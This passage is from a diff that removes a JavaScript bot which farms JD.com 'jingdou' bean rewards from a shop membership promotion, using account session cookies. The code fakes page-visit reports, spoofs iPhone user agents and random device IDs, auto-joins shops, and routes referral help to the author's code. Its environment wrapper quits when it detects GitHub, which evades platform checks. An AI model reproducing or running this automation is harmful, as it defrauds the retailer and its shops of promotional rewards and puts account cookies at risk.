$.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.randomCode = random(1000000, 9999999) - $.activityId = 'dzlbklzmsk20211101A' - $.activityShopId = '1000004489' - $.activityUrl = `https://lzdz1-isv.isvjd.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - if (isRush === true) { - console.log("未检测到不执行环境变量,执行任务") - await rush(); - } else { - console.log("检测到不执行环境变量,退出任务,环境变量 NO_RUSH") - break - } - await $.wait(3000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function rush() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> "+$.authorCode) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - if ($.index === 1) { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - } else { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - } - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - $.log("->关注店铺") - if ($.shopTask) { - if (!$.shopTask.allStatus) { - await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) - } else { - $.log(" >>>已经关注过了\n") - await $.wait(2000) - return - } - } else { - $.log("没有获取到对应的任务。\n") - } - $.log("->->->> 加入店铺会员") - if ($.openCardStatus) { - for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { - $.log("模拟上报访问记录") - await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000004065&pageId=dz20211013skcnurdk11jhdue84752hp&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) - await $.wait(2000) - } - t1TaskList = [] - $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) - t2TaskList = [] - $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) - if (t1TaskList.length < 1) { - console.log(" >>>已经完成入会任务") - - } else { - for (const vo of t1TaskList) { - $.log(` >>>去加入${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - for (const vo of t2TaskList) { - $.log(` >>>${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - } - - await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) - - } else { - $.log("没有获取到对应的任务。\n") - } - $.log("->->->> 加购物车") - await task("dz/openCard/saveTask", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&type=2&taskValue=100025232454`) - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'wxActionCommon/getUserInfo': - break; - case 'dz/openCard/activityContent': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actorUuid - console.log(ownCode) - } - $.actorUuid = data.data.actorUuid; - $.skuTask = data.data.addSku; - $.shopTask = data.data.followShop; - } else { - $.log("活动已经结束"); - } - break; - case 'dz/openCard/checkOpenCard': - $.openCardStatus = data.data; - break; - case 'dz/openCard/saveTask': - console.log(data.data.addBeanNum) - break; - case 'dz/openCard/saveTask': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - case 'dz/openCard/startDraw': - if (data.data.drawOk) { - switch (data.data.drawInfo.type) { - case 6: - $.bean += data.data.drawInfo.beanNum; - $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) - break; - default: - if ($.isNode()) { - await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } else { - $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } - break; - } - } - break; - case 'crm/pageVisit/insertCrmPageVisit': - $.log("==> 上报成功") - - case 'dz/openCard/followShop': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjd.com/${function_id}` : `https://lzdz1-isv.isvjd.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjd.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjd.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjd.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjd.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjd.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - // $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = 